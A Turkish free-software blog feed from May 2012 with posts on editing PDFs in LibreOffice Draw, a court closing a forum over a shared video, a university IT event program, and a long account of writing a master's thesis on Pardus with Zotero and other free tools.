“Mesela Windows gibi. ABD istihbaratının Windows’tan bazı açık kapılar bırakmasını istemeyeceğinden emin miyiz?. Mutlaka yaparken, ‘birkaç kapı bırakın oradan sisteme gireyim’ diyecek. Mesela Google’u düşünün. Herkesin bir Gmail hesabı var. Benim de var. Türkiye’de ben Genelkurmay Başkanlığı yapmış bir kişiyim. Google hesabındaki tüm bilgiler ABD’deki Serverlerda saklanıyor. İstediğiniz kadar hafıza kullan diyor. Bütün bilgiler orada. Açıp bakmaz mı ne oluyor, kimler ne yazıyor. Bunların bilincinde olarak onu kullanmamız lazım.”

LibreOffice’de PDF düzenlemek

2012-05-10T18:36:51+00:00

İş yaşamında PDF biçimindeki dosyaları düzenleyebilmek büyük nimet, kolaylık…

Sürekli gelen taslak metinler, sözleşmeler, yazılar, bildirimler, sunumlar ve aklınıza gelebilecek birçok belge PDF(Portable Document Format) biçiminde dolaşmakta. Size gönderilen PDF biçimindeki belge üzerinde çalışmak, genel PDF okuyucunuzla yapamayacağınız bir iş. Çoğu zaman da gerekli…

Öyle ki işe ilk başladığımda, gelen PDF belgelerini döktürür, üzerine elle düzeltmeleri ve notları yazardık, bu kağıdı taratıp ilgili kişilere tarama görüntüsü olarak gönderirdik. Gayet ilkel ve işe yarar bir yöntem… Fakat profesyonel mi? Tabiki de hayır

Mevcut belgelerinizi PDF’ye dönüştürmek kolay. Hatırlıyorum da PDF’ye dönüştürüp gönderdiğim PDF’in düzenlenmiş ve üzerine not alınmış şekilde “Jilet” gibi bana geri geldiğinde çok şaşırmıştım. “Vay arkadaş, adamlara bak…” demiştim. Oysa bu yapmak çok da büyük marifet değilmiş.

LibreOffice ile belgelerinizi ofis yazılımın içerisinden, bir eklentiye veya dış bir yazılıma ihtiyaç duymadan doğrudan PDF olarak dışa aktarabildiğiniz gibi aynı şekilde PDF dosyalarınızı Draw(Çizim) bileşeni içerisinde aktarıp bu dosyalarınızı düzenleyebilirsiniz.

Akşama, yarın akşama veya haftaya -yani müsait olduğum bir zaman- LibreOffice’de PDF düzenlemekle ilgili bir video çekeceğim.

LibreOffice’de PDF dosyalarını nasıl düzenleyebiliyoruz dersek, basitçe şöyle:

LibreOffice Draw(Çizim) ile PDF dosyasını açın. Draw bileşeni menüsünden “Aç ”komutuyla yapabileceğiniz gibi, dosyaay sağ tıkladığınızda “Birlikte Aç…” komutuyla LibreOffice’in herhangi bir bileşenini seçtiğinizde PDF belgesi Draw bileşeninde açılacaktır. Açıldıktan sonra PDF belgesini çizim belgesi gibi düzenleyin, not alın, açılır not ekleyin, altını çizin, şema ekleyin, resim ekleyin ne isterseniz onu ekleyin… Dosyayı daha sonra yine düzenleyebilmek isterseniz odg çizim dosyası olarak kaydedebilirsiniz.

Bu işlemleri yaptıktan sonra dosyayı PDF olarak dışa alktarmak için iki seçeneğiniz var:

1- Araç çubuğundaki PDF simgesi: Bu şekilde dosyayı doğrudan PDF olarak dışa aktarabilirsiniz. Yalnız bu simge bir kolaylaştırıcı/hızlandırıcı olduğundan dışa aktarmayla ilgili ayarları bu yolu kullanarak yapılandıramamaktasınız. PDF’yi yorumlarla birlikte dışa aktarmak için ikinci yöntemi kullanınız.

2- “Dosya->PDF Olarak Dışa Aktar” yolu: Bu yolla, PDF dosyasıyla ilgili ayarları yapılandırabilirsiniz.

Burada birçok ayar bulunmakta, ama şimdilik püf nokta olan “Yorumları Dışa Aktar” seçeneğini vurgulamak istiyorum. Bu seçenek sayesinde, belgeye eklediğiniz “Açılır Notlar” PDF çıktısında da görünmekte. (Nedenini bügün işyerinde tecrübe ettim).

LibreOffice PDF dışa aktarma ayarları

Size gönderilen ve üzerinde; işaretleme, düzeltme, not alma ve ekleme yaptığınız PDF dosyalarını “Dosya->PDF Olarak Dışa Aktar” yoluyla dönüştürünüz. ( LibreOffice hibrit bir PDF dosyası oluşturacaktır, bu dosya ODF ve PDFnin hibritifdir) Ben denedim, Adobe Reader’da bile şahane açıldı

Kurumsal kullanıcıların/kullanıcı adaylarının dikkatine: Bu işi yapabilecek bir üçüncü parti yazılım ve bunun kurumsal kullanım maliyeti, bu ek yazılımın kurulumu kullanımı vb faktörleri de ihmal etmeyin.

Bu bile bilgisayarına LibreOffice kurmanız, kurmak istemeseniz bile bir kenarda Taşınabilir LibreOffice bulundurmanız için bir neden

Bu seçenekle açılacak iletişim kutucuğundaki diğer harika seçenekleri anlatmaya gerek yok. Malum, çeviri çalışmalarımız sayesinde anlayabildiğimiz anadilimizde, yani Türkçe

Bu küçük ipucunu tecrübe edince Twitter’dan paylayaşım dedim, sonra bunu yapmamın kimseye bir faydası olmayacağını düşünüp bu günlük girdisini yazmaya karar verdim. iyi de ettim sanırım. Daha geniş anlatımda, kolay ulaşılabilir, herkes tarafından görülebilir, daha fazla kanaldan paylaşılabilir ve en önemlisi belki Google’dan bu ilşi nasıl yapacağını arayan insanlara faydası dokunur. Twitter: 0 – Günlük: 1!

Mutlu günler.

İlgili Diğer Başlıklar:

Youtube videosu eklenen SDN foruma kapatma kararı

2012-05-10T12:17:24+00:00

Ülkemizdeki elektronik yasaklama uygulamasının son örneğini az önce ağzım açık okudum. Bir üyesi tarafından forumda bir youtube videosu paylaşılan SDN forum, Müyap tarafından şikayet edilmiş ve mahkeme SDN forum sunucularının kapatılmasına karar vermiş!* Evet, video Youtube sunucusunda, kapatılan SDN forum, üstelik bağlantı 15 dakikada kaldırılmış olduğu halde.

Üzerinde yorum yapabilmek için mantıklı bir şeyler aradım ama bulamadım. Umarım sanatçılar "böyle saçmalık olmaz" diyerek Müyap yönetimini uyarırlar.

İyi ki doğdun Akgül hocam.

2012-05-09T22:55:03+00:00

Her yerde anlatırım, benim bu sektörde kalıcı olmamı sağlayan ve elimden tutan kişidir Mustafa Akgül hocam... Kendisinin sayesinde seminer vermeye, öğrenmeye, ve öğretmeye başladım.

Kafam güzelken yazdığım bir günlük yazısına buradan ulaşabilirsiniz. Son tümce herşeyi özetliyor zaten.

Bugün Akgül hocamızın doğumgünü. İyi ki doğdun hocam. İyi ki varsın. Hep var ol.

Suskunsam 5.000 Km Sebebi Var

2012-05-09T22:36:47+00:00

Anadolu Turu’nda olduğum için bir süredir bloguma yazı giremiyorum…

İstanbul’dan, izmit, bursa, inegöl, eskişehir, kütahya, burdur, ısparta, antalya, konya, karaman, adana, antep, adıyaman, urfa, mardin, hasankeyf, batman, bismil derken şimdi diyarbakırdayız :)

Arada atladığımız şehir varsa suç bu kadar dolaşmanın… Biraz dinlendikten sonra daha dinç yazılar ile inş. birlikte olmaya çalışacağım.

Bu arada, batman ve bismil’de kürtçe’nin türkçe’den daha yaygın bir dil olduğunu fark ettim.

Kocaeli Üniversitesi Bilişim Günleri 2012

2012-05-09T22:28:03+00:00

15-16 Mayıs tarihlerinde Kocaeli Üniversitesinde Bilgisayar Kulubünün düzenleyeceği etkinlikte öğrencilerim Mesutcan Kurt, Engin Manap ve Ahmet Can Kepenek'le birlikte konuşacağız. Etkinliğin ilk gününde "Linux Nedir?", "Üniversitelerde Özgür Yazılım" ve "Özgür Yazılım Öğrencilere Ne Katar" konularında konuşacağız. İlk gün Alternatif Bilişim Derneğinden Ali Rıza Keleş'in de bir konuşması var. İkinci Gün 8 farklı sunum var, ikisini Android hakkında Muharrem Taç yapacak. Etkinlik programına buradan ulaşabilirsiniz.

Salı günü o saatte daha iyi bir işi olmayanları sohbet etmeye bekleriz.

Kocaeli Üniversitesi Bilişim Şenliği, 15 Mayıs 2012

2012-05-09T19:50:44+00:00

Yer: Kocaeli Üniversitesi Mühendislik Fakültesi B Blok Konferans Salonu
Tarih: 15 Mayıs 2012
Program:
09:15 – 10:00 Açılış Konuşmaları
10:00 – 11:00 Linux Nedir, Ne Değildir ? / Necdet Yücel, Mesutcan Kurt, Ahmet Can Kepenek, Engin Manap
11:15 – 12:15 Alternatif Bilişim Derneği / Hackerspace – Ali Rıza Keleş
13:15 – 14:15 Üniversitelerde Özgür Yazılım / Necdet Yücel, Mesutcan Kurt, Ahmet Can Kepenek, Engin Manap
14:30 – 15:30 Özgür Yazılım Öğrencilere Ne Katar? / Necdet Yücel, Mesutcan Kurt, Ahmet Can Kepenek, Engin Manap

Bir Tezin Hikayesi…

2012-05-08T21:10:12+00:00

Yüksek Lisans tezimi Pardus üzerinde tamamen özgür yazılımlar kullanarak yazmıştım. Tezimin hikayesini Özgürlükİçin E-Dergi’nin 34. sayısı için kaleme almıştım.

Birilerine faydası dokunur diye -en azından arama motorları ve paylaşım kolaylığı açısından- günlüğüme de aktarmak istedim. Belki bu sayede özgür yazılımla üretmek isteyen birkaç kişiye daha ulaşmış olurum…

Tıpkı başka bir Dünya’nın mümkün olduğu gibi, özgür yazılımla da üretmek mümkün! Hem de tahmin etmeyeceğiniz kadar kolay ve nitelikli şekilde…

Bir Tezin Hikayesi

Tezim - Avrupa Birliği'nde Yoksullukla Mücadele ve Türkiye'nin Uyum Sürecindeki Yeni Uygulamalar

Pardus, kişisel kullanımın dışında, kişisel üretim için de barındırdığı özgür üretim araçları ile bu gibi ihtiyaçlarımızı karşılamakta oldukça başarılı bir GNU/Linux dağıtımı. Bundan yaklaşık 4 yıl önce, 2007 yılında, Yüksek Lisans eğitimine başladım. İstanbul Üniversitesi’nde tamamladığım lisans eğitimimden sonra, yüksek lisans eğitimi için de tercihim yine okulum oldu. Avrupa Birliği Anabilim Dalı’nda yüksek lisans eğitimine başladıktan birkaç ay sonra Pardus ile tanıştım.

Aslında özgür yazılımla tanışmam ve özgür yazılım kullanma isteğim, biraz daha geriye gidiyor. Lisans eğitimim sırasında Firefox ve OpenOffice.org kullanmaya başlamıştım. Öğrencilik, ekonomik koşullar ve genel kabul görmüş “korsan yazılım” kültürü, bilgisayarımın işletim sistemi ve ofis yazılımı tercihimi, zoraki ve bilinçsiz bir şekilde, korsan yazılımdan yana kullanmaya itmişti. Lisansın son yılında tanıştığım OpenOffice.org, benim için bir dönüm noktası oldu. Okulda verilen ödevleri yaparken, emeğimi korsan bir yazılım üzerine dökmek beni içten içe rahatsız etmeye başlamıştı. Emek veriyordum, fakat bu emeği ortaya döktüğüm yazılımı kullanarak emek hırsızlığı yapıyordum ayrıca. Özgür değildim ve bu nedenle yaptığım çalışmalarda bu beni rahatsız ediyordu. OpenOffice.org ile tanıştığımda, Windows işletim sistemi üzerinde kullansam da, biraz rahatlamıştım ve çok daha rahat çalışabiliyordum. Lisansta çok ödevim olmasa da, yüksek lisansın başlangıcında bütün çalışmalarımı OpenOffice.org üzerinde yapmaya başlamıştım.

Aynı yıl Pardus 2007 yavaş yavaş tanınmaya başlamıştı. Birkaç forumda Pardus hakkında birkaç yazı okumuştum, ama denemeye pek cesaret edememiştim doğrusu. Bilgisayarımda Linux kullanabilmek aslında çok daha gerilerden gelen bir fantazimdi. Fakat o zamana kadar bilgisayar dergilerinden gördüğüm kadarıyla, konsol komutları sabit disk biçimlendirme işlemleri ve metin tabanlı kurulum beni çok ürkütmüştü. Pardus hakkında biraz okuyunca, Pardus’un getirdiği kolaylıklar ve son kullanıcı hedefi ve en önemlisi Türkiye’de geliştiriliyor oluşu beni cesaretlendirdi.

Pardus ile tanıştıktan sonra kısa süre içerisinde Pardus’a alıştım. Halihazırda tanışmış olduğum özgür ofis yazılımı OpenOffice.org ile araştırmalarımı, ödevlerimi halletmeye başladım. Özgür ofis yazılımının yanında, esas olarak kullandığım işletim sisteminin de özgür olması ile yukarıda bahsettiğim rahatsızlık duygusu ve kısıtlanmışlık hissi kayboldu. Özgür bir platformda çalışıyor olmak, insanlığın ortak emeği ile sanki bana kişisel olarak bir şeyler üretmem için sunulmuş bir fırsat gidiydi. Çok rahatlamıştım ve üretme hevesim çok fazlaydı. Şimdi bile özgür yazılımın kişisel üretim için sunduğu imkanları görünce aynı hisse ve şevke kapılıyorum. Sanki birileri bana sistem burada, araç burada, sen yeter ki üret diyor. Daha açıklayıcı olmak gerekirse, Mahmut Tuncer’in dile getirdiği gibi, şeker var, un var, yağ var ne duruyorsun yaklaşımı diyebiliriz.

Temel sisteme ve üretim araçlarına “özgürce” ve bir bedel olmadan sahip olduktan sonra, bu temelde kendi adıma bir şeyler yapmak bana haz vermeye başlamıştı. Bunların farkına vardığımda ise kendi kendime “Yüksek Lisans tezimi tamamen Pardus üzerinde yazabilir miyim acaba, nasıl olur ki?” diye sormaya başladım. Bu soruma “Evet, bunu yapabilirim, ben özgür bir işletim sistemi üzerinde Tezimi özgürce yazabilirim, insanlığın ortak bilgi birikimi bu imkanları bana sunduktan sonra ben neden özgür bir tez yazamayayım ki?” cevabını vermem uzun sürmedi. Ders yılı boyunca ödevlerimi ve çok olmasa da araştırma çalışmalarımı Pardus üzerinde sürdürdüm.

Ders yılını tamamlamamım ardından, malum ülkemizin işsizlik sorunu, ve diğer özel nedenler dolayısıyla yüksek lisans eğitimimin ilk tez yılını boş geçtim diyebilirim. Zaten lisans eğitimim de de benzer nedenlerle çok iyi bir öğrencilik dönemi geçirememiştim. Tez konumu belirlemem ve en önemlisi bu konuda çalışmaya başlamam bir hayli sürdü. İş bulmamın ardından, ekonomik olarak güvenceye kavuşmam, bu sayede evlenerek hayatımı sevdiğim insanla birleştirmeme vesile oldu. Bu gelişmeler, ülkemizde bir lüks olarak algılanan yüksek lisans eğitimini tamamlamak için bana güç verdi.

Tez Yazmaya Başlamak…

İlk bölümde anlattığım hikaye kısımının ardından konunun özüne dönelim… Bir akademik çalışma olan yüksek lisans tezi; belirli şekil şartlarına sahip, akademik ölçüler ve gereklilikler doğrultusunda hazırlanması mecbur olan yazılı çalışmalardır. Tezinizi daktiloda yazabileceğiniz gibi, modern teknolojiyi kullanarak bilgisayar üzerinde de yazabilirsiniz. Ben modern bir üretim seçeneği olan bilgisayarı seçtim.

Bilgisayar üzerinde bir tez yazmanız için temelde bir kelime işlemciye ihtiyaç duyarsınız. Bu kelime işlemci gelişmiş bir kelime işlemci olabileceği gibi konsol tabanlı bir metin editörü de olabilir. Bu konuda Pardus üzerinde alternatiflerini şunlar olabilir:

Basit metin editörü(ör. konsol tabanlı, Kwrite, Gedit vb)
Ofis yazılımları-Kelime İşlemci(ör. OpenOffice.org/LibreOffice, Kword, AbiWord vb)
LaTeX editörü(ör. Lyx, Kile, Tex, Texmaker vb)

Bu seçeneklerden üçüncüsü olan LaTex konusuna kısaca değinmek gerekirse; LaTeX akademik çalışmalar için oluşturulmuş bir belge hazırlama sistemidir. Genelikle fen bilimleri ve matematik alanında kullanılsa da sosyal bilimler alanında da yoğun olarak kullanılmaktadır. Ülkemizde de birçok üniversite bu alanlarda çalışmaların LaTeX üzerinde yapılamasını tavsiye emekte ve bunun için yönerge ve rehberler yayınlamaktadırlar. Latex akademik çalışmaların dışında, kitap ve diğer çeşitli belgeleri yazmak için de kullanılmaktadır. LaTeX belgelerinin kağıt ortamında en iyi çıktıyı verdiğinin de altını çizmeyi ihmal etmeyeyim. LaTeX konusunda daha fazla bilgi için ilgilenen arkadaşlar Google, PardusWİki ve Özgürlükİçin.com’da arama kutucuğuna LaTeX yazıp detaylı bilgi edinebilirler.

LibreOffice Özgür Ofis Yazılımı

Benim bu seçenekler arasındaki tercihim Kelime İşlemci’den yana oldu. Bu seçimi yapmamın nedeni ise o güne kadar az çok hakim olduğum bir yazılım olması ve bu yazılımların diğer seçeneklere göre bana daha kolay kullanılabilir gelmesiydi. Bu karar basit gibi görünse de, özellikle LaTeX ile kıyaslanınca zor bir karardı.

Yardımcı yazılımlar…

Tezimi yazacağım platforma karar verdikten sonra işler benim için biraz daha kolaylaşmıştı. Bundan sonra sıra tez çalışmam için ihtiyacım olan yardımcı yazılımları belirlemekteydi.

Tezim için temel oluşturabilmek için birçok makale ve kitap okumam gerekiyordu. Bu makale ve kitaplar basılı ortamda olduğu gibi elektronik ortamda da bulunmaktaydı. Elektronik ortamda bulunan kitap ve makaleler genellikle PDF ve ofis dokümanı biçimindeydi. Ofis dokümanlarının üzerinde çalışmak kolaydı, fakat PDF biçimindeki belgelerde çalışmak o kadar kolay değildi.

Bildiğiniz gibi PDF biçimindeki dosyalar, ya metin halindedir ya da salt görüntü halindedir. Metin halindeki PDF belgelerininden metini seçebilir ve ofis belgelerine aktararak üzerlerinde çalışabilir not alabilirsiniz. Fakat görüntü halindeki PDF dosyaları üzerinde çalışmak hiç kolay değildir. Windows platformunda bu dosyaları okumak için kullandığınız Adobe Reader yazılımı ile bu dosyaları sadece görüntüleyebilirsiniz. Oysa Pardus üzerinde gelen belge görüntüleyici Okular size bu belgeler üzerinde çalışmak için mükemmel araçlar sunmakta.

Okular - Özgür Belge Görüntüleyici

Okular’ın size sunduğu en önemli özellikleri, PDF dosyaları içerisinde yer imleri koymak, önemli yerlerin altını çizmek, buraları serbest biçimde işaretlemek ve not almak olarak sayabilirim. Salt görüntü halindeki PDF dosyaları üzerinde not alabilmek, ve çalıştığınız bütün PDF dosyaları üzerinde aldığınız notları ve yer imlerini tek pencereden görebilmek, bu notlara hızlıca ulaşabilmek mükemmel bir şey! Okular ile bir PDF dosyası açın ve F6 tuşuna basarak neler yapabileceğinizi kendi gözleriniz ile görün derim!

Ben Okular belge görüntüleyicisinin yanında, Okular’a göre çok daha hızlı olan bir belge görüntüleyici olan Evince yazılımını aslında daha fazla kullandım. Okular nedense birkaç belge ile aynı anda çalışırken, özellikle görsel olarak zengin belgelerde performans düşüklüğü yaratıyor. Evince ile PDF dosyalarını çok daha hızlı ve kolay görüntüleyebiliyorsunuz.

KNotes

Belge görüntülemenin dışında, çok önemli bir ihtiyaç ise not tutmak. Pardus üzerinde gelen masaüstü notları çok işe yarıyor. Notlarınızı daha organize olarak tutmak isterseniz, Basket yazılımı tam sizlik. Bir diğer alternatif ise notlarınızı bir ofis belgesinde tutmak. Ben bu üç yöntemi de kullandım. Hızlı notlar için KNotes masaüstü notlarını, planlama için Basket’i ve kontrol için ise ofis belgelerini not tutmak için kullandım.

Biraz ileri teknoloji…

Belge yazmak, görüntülemek, not almak temel düzeydeki yazılımlar ile başarılabilecek işlerdi. Ama araştırma sürecini daha hızlandırmak için biraz ileri teknolojiye ihtiyaç duymaktaydım. Bilgisayarımdaki kayıtlı tüm belgelerin içine tek tek girmek, sayfalarca belge arasında bir kavramı aramak, bu işin nasıl olacağı doğrusu kafamda bir soru işaretiydi. Google’de arama yapmak bildiğiniz gibi bilgisayar yerelinde arama yapmaktan çok daha kolaydı. Ama benim bilgisayarımda topladığım belgelerin içeriğinde de arama yapabilmem gerekirdi.

Nepomuk - Semantik Masaüstü Aracı

Bu noktada devreye ileri teknoloji ürünü olan Nepomuk ve Strigi servisi girdi. Belgelerimi tuttuğum dizini Nepomuk ve Strigi servisine indekslettirdim. Nepomuk sayesinde bu dosyalara etiketler koydum, işime ne kadar yaradığına göre ise dosyaları 5 yıldız üzerinden oyladım. En önemli kısım olan dosya içeriğinde arama işlemini ise Strigi ile hallettim. Dolphin’de arama kutucuğuna aramak istediğim kelimeyi yazdığımda bu dosya adında ve içeriğinde o kelimeyi içeren bütün belgeler karşıma çıktı. Bu sayede araştırma sürecim çok hızlandı. Onlarca dosya ve binlerce sayfa arasından bir kelimeyi, bir terimi daha kolay olamazdı doğrusu.

Zotero, Çok Büyük İhtiyaç!

Zotero - Yeni nesil Araştırma Aracı

Tezlerin şekil şartlarına tabi olduğunu belirtmiştim. Bu şartlardan en önemlisi ise tezlerde kullanılan dipnotlar ve kaynakça kısımlarının bulunması. Tezi yazarken yararlandığınız onlarca kaynağı doğru şekilde belirtmelisiniz ve doğru biçimde tezinizde yer vermelisiniz.

Tez yazarken kullandığım OpenOffice.org(ve daha sonra LibreOffice yazılımı), dipnot ve kaynakça konusunda kendi iç araçlarına sahipti. Bu araçlar maalesef tıpkı Microsoft Office Word yazılımındaki gibi bu alanlarda zayıftı. Öntanımlı olarak gelen dipnot ve kaynakça biçimlendirmesi kişiselleştiremiyor ve toplu hale kontrol edilemiyordu, aynı zamanda geriye dönüp bu girdileri düzenlemek ise hiç kolay değildi. Basit olarak zamanınız var ise manuel dipnot girişi ve kaynakça oluşturabilirsiniz. Bunun yanı sıra çevrimiçi hizmetleri kullanarak bu ihtiyacınızı giderebilirsiniz.

Maalesef bu yöntemlerin hiçbiri bana makul gelmedi. Bu konuda araştırma yaparken, belki de tezim için en önemli araç olan Zotero ile karşılaştım.

Zotero, akademik alanda çalışan insanlar için bulunmaz bir nimet! Sundukları ile sizi çok büyük sıkıntılardan kurtaran mükemmel bir uygulama.

Firefox candır!

Zotero temelde bir Firefox uygulaması. Ofis yazılımız ile iletişim kurup bilgisayarınızdaki veya internette gezinirken karşılaştığınız bir eseri kütüphanenize almanızı, akademik biçemde olarak kaynak gösterebilmeniz için gerekli bilgileri kolayca girerek bu kaynakları elinizin altında tutabileceğiniz bir uygulama. Zotero sadece bununla sınırlı kalmayarak, araştırma yapanlar, kitap, belge, kılavuz yazanlar için bulunmaz nimetler sunuyor. Zotero ile araştırma yapmak, kaynak toplamak ve kütüphane oluşturmak çok kolay.

Zotero’nun sunduğu imkanlar bununla da sınırlı kalmıyor. Sunduğu ücretsiz üyelik servisi ile, kütüphanenizi, notlarınızı ve dosyalarınızı(100MB’a kadar ücretsiz) Zotero sunucusu ile eşleştirebiliyorsunuz. Bu sayede tez çalışmalarınıza internete bağlı olan herhangi bir bilgisayardan da devam edebiliyorsunuz. Bu servisin sağladığı en önemli özellik ise, veri güvenliği. Düşünsenize, çalışmanızda kullanmak için yaklaşık 100 eserlik bir kütüphane oluşturdunuz, hepsinin eser adından tutun, basım yılı, yayınevi çevirmeni gibi gerekli bilgilerini yazdınız. Ya bilgisayarınıza bir şey olursa, ya bunca veri ve veri bilginiz giderse, ya bilgisayarınız çalınırsa? Zotero, sizin için bu senkronizasyonu otomatik olarak yaparak sizi büyük bir sıkıntıdan kurtarıyor.

Zotero’yu kısaca tanıttıktan sonra, Zotero’yu Pardus üzeridne nasıl kullanılacağına değineyim. Zotero dediğim gibi bir Firefox eklentisi, Zotero’yu kendis sitesinde kolayca indirip yükleyebilirsiniz. Zotero’yu Firafox’a kurduktan sonra, yapılaması gereken önemli bir iş kalıyor. Zotero ve Kelime İşlemci’yi birbirine bağlamak. Bunun için, Zotero’nun kendi sitesinden kelime işlemciniz için uygun eklentiyi bulup kuruyorsunuz (http://www.zotero.org/support/word_processor_plugin_installation) Pardus 2011 için Zotero 2.1 ve Zotero 2.1 için OpenOffice.org/LibreOffice eklentisini seçebilirsiniz. Bu eklentileri kurduktan Firefox yeniden başlayacak ve yeni bir pencerede Zotero yapılandırma ekranı ile karşılaşacaksınız. Hiçbir ekstra ayar yapmadan “İleri” düğmesine tıklayarak kurulumu tamamlayabilirsiniz. LibreOffice programını açtığınızda araçlar çubuğunuzda Zotero araç çubuğunu göreceksiniz. Pardus 2009 üzerinde nasıl kurulum yapılacağı konusunda ise PardusWiki’deki Zotero maddesine bakabilirsiniz.

Zotero araç çubuğunu, çok basit bir kullanıma sahip. Sadece 7 tane düğmeye sahip bu düğmeler sırasıyla; Başvuru(Dipnot) ekle, Başvuru(Dipnot) Düzenle, Kaynakça(Bibliyografya) ekle, Kaynakça(Bibliyografya) düzenle, Yenile ve Zotero alan kodunu temizle. Daha kolay bir menü olamazdı doğrusu… Eser Bilgilerinizi Firefox üzerinde oluşturun, internette gezerken eser toplayın, tek tıkla bunları dipnot olarak ekleyin, tek tıkla kaynakça oluşturun, tek tıkla bütün belgelerinizi güncelleyin.

Bir belgede Zotero düğmelerine ilk kez tıkladığınızda size belgenizde hangi dipnot ve kaynakça sitili kullanmak istediğinizi soracaktır. Öntanımlı olarak dünyada yayıgın olarak kullanılan Modern Language Association, Harvard Reference Format, American Sociological Association, Chicago Manual of Style gibi birçok biçim karşınıza çıkmakta. Eğer okulunuz bu biçemleri öneriyorsa listeden seçip hemen atıf yapmaya, dipnot koymaya ve kaynakça oluşturmaya başlayabilirsiniz. Fakat benim okulum gibi okulunuz bu biçemler dışında bir biçem istiyorsa yapabileceğiniz iki şey bulunmakta. Birincisi, Zotero’nun sitesinden ekstra biçimler indirebilirsiniz, binlerce biçim sizin kullanımınız için Zotero Biçim Deposunda(bu adreste http://www.zotero.org/styles ) sizi bekliyor, buradan biçim önizlemelerini de görebiliyorsunuz. Eğer şanslıysanız okulunuzun istediği biçimi buradan tek tıklama ile (“Install”) kurabiliyorsunuz. Eğer istediğiniz biçim burada da yoksa Zotero size bir alternatif daha sunuyor. Bu ikinci seçenekte, kendi biçiminizi kendiniz oluşturabiliyorsunuz. Bu ikinci seçenek için Zotero size bu işi nasıl yapacağınız konusunda bir belgeleme sunuyor, belgeleme İngilizce (http://www.zotero.org/support/dev/citation_styles), biraz XML biliyorsanız, diğer stillerden de kopya çekerek kendi stilinizi oluşturabilirsiniz.

Ben, İstanbul Üniversitesi Sosyal Bilimler Enstitüsü tez hazırlama yönergesine göre kendi Zotero stilimi kendim oluşturdum. Elimden geldiğince doğru yapmaya çalıştım, bazı yerlerde küçük sıkıntıları olsa da işimi gördü. Bu biçim dosyasını http://bluzz.net/tezim adresi altında bulabilirsiniz.

Zotero konusununda son olarak, Zotero’nun çok güçlü bir araştırma aracı olduğunun altını tekrar çizmek isterim, kendi sitesinden izleyebileceğiniz tanıtım videolarında da görebileceğiniz gibi, çok yetenekli ve zeki bir araç. Basit düzeyde bireysel kullanımın yanı sıra, bir araştırma grubunda çalışıyorsanız, ortaklaşa çalışma ve konusunda da araştırma grupları kurarak veya hazır gruplara katılarak ortak kütüphaneler oluşturup bu kütüphanelerden ve notlarından faydalanabiliyorsunuz. Diğer taraftan Sosyal Paylaşım paralelinde, Zotero kullanan kişileri ve çalıştıkları disiplinleri(bilim dallarını, ilgi alanlarını) görebiliyorsunuz. Örneğin Makine Mühendisliği veya Nöroloji konusunda araştırma yapıyorsanız, yurt dışında sizinle aynı alanda çalışabilen kişileri ile Zotero üzerinden iletişime geçebilir, kaynakça paylaşımında bulunabilirsiniz. Bu da gerçekten bulunmaz bir nimet, özellikle ülkemizde yurt dışındaki kişiler ile irtibata geçmenin zor olduğunu göz önüne alınca, üretimi ve araştırmayı paylaşmak Zotero’nun bize sunduğu çok güzel bir imkan.

Son Söz….

LibreOffice Özgür Ofis Yazılımı

Yukarıda bahsettiğim araçlar özellikle Zotero, tez yazım sürecimi inanılmaz kolaylaştırdı. Zemberek imla denetimi ile tez genelinde yazım denetimi sağladım. OpenOffice.org/LibreOffice Calc ile tablolar, çizelgeler ve grafikler oluşturdum, bunları kolayca Kelime işlemci içerisinde kopyaladım, ve kelime işlemci içerisinde de düzenleyebildim. Bazı ham veri, virgülle ayrılmış veri(CSV)’leri çevirmede Gedit’i kullandım. PDF dosyalarını birleştirmede, kesmede sevgili Fırat Özgül’ün yazmış olduğu Harman yazılımını kullandım. Elbette ara ara yaşadığım sorunlar, hatalar oldu. Sorunları çözmem zor olmadı, hatalar içinse hata kaydı girdim. Hatta bazı iyileştirme önerilerinde de bulundum. Tezimi yazmaya başladığımda OpenOffice.org kullanırken, tezimi yazarken yaşanan gelişmeler neticesinde tezimi, LibreOffice kullanarak bitirdim. Bu süreçte LibreOffice yerelleştirmeleri için çalışmalara katıldım, LibreOffice’in bugün %100 Türkçe bir arayüz ile karşımıza gelmesine katkı verdim, tr.libreoffice.org sitesi için çalışmalarda bulundum.

Tez yazım sürecimde, ne Pardus ne de kullandığım diğer özgür yazılımların hiçbiri beni yarı yolda bırakmadı! OpenOffice.org ara ara çökse de belgelerimi hep kurtardı, LibreOffice’de ise (Knazar değmesin!) henüz çökme yaşamadım. Bu açıdan Pardus ve üzerinde gelen yazılımlarda emekleri geçenlere çok teşekkür ediyorum.

Tezimi tamamen, Pardus üzerinde, başka bir platform veya bir araç kullanmadan yazmak benim hayalimdi. Bunu gerçekleştirebildiğim için çok mutluyum. Pardus’un bir üretim platformu olduğunu sürekli belirtmekteyim. Bilgisayarın sadece internet ve eğlence aracı olmadığını bir üretim aracı olduğunu tekrar belirmek isterim. GNU/Linux’un insanlara sunduğu fırsatlardan yararlanarak benim de kendimce bir ürün ortaya koyabilmem, bunun kabul görmesi beni manevi açıdan çok mutlu etti.

Eğer siz de akademik alanda araştırma yapıyorsanız, bu araştırmalarınızda ve tez çalışmalarınızda Pardus kullanmanızı şiddetle öneririm. Yukarıda bahsettiğim bütün yazılımlar ve size sunduğu ileri teknolojiler ile Pardus araştırma alanında diğer rakiplerinden geride kalmıyor!

Son olarak bu süreçte içimde kalan bir iki husustan bahsedeyim. Birincisi tezimi yazarken kullandığım yazı tipi, tez yönergesine uyun bir seçim yaptım, seçenekler arasından Times New Roman karakterini seçtim, alternatif olarak özgür bir yazıtipi olan Liberation Serif’i seçebilirdim, veya Arial yerine Liberation Sans’da seçimim olabilirdi. Gerek zaman gerekse bu tiplerin döküm alacağım bilgisayarlarda nasıl görüntüleneceğini bilmediğimden bu şekilde yapmak durumunda kaldım. Ama biraz daha zamanım olsaydı, yazıtipini değişik kullanmak isterdim.

İkinci olarak ise, gerek okulumun sitesinde, gerekse YÖK tez bankası ve Tez yönergelerindeki anlatımların tamamı Windows sistemleri üzerinde kullanılacak uygulamalar ile ilgili, biraz zamanım olsaydı bu yönergeleri Linux üzerinde kullanılacak yazılımlar ile değiştirip paylaşmak isterdim. Maalesef bunları yetiştiremedim.

Yapabildiğim şey, modern yazılımlar ve araştırma araçları ile Pardus’u bir araya getirebilmek ve bununla bir Tez ortaya koyabilmek oldu. Bu sayede Pardus’un araştırma alanında da kullanılabileceğini ve diğer sistemlerden hiçbir eksiği olmadığını gösterdiğim düşünüyorum.

Umarım yakın zamanda, Pardus üzerinde hazırlanan diğer tezleri, Pardus üzerinde yazılan kitapları ve eserleri görebiliriz.

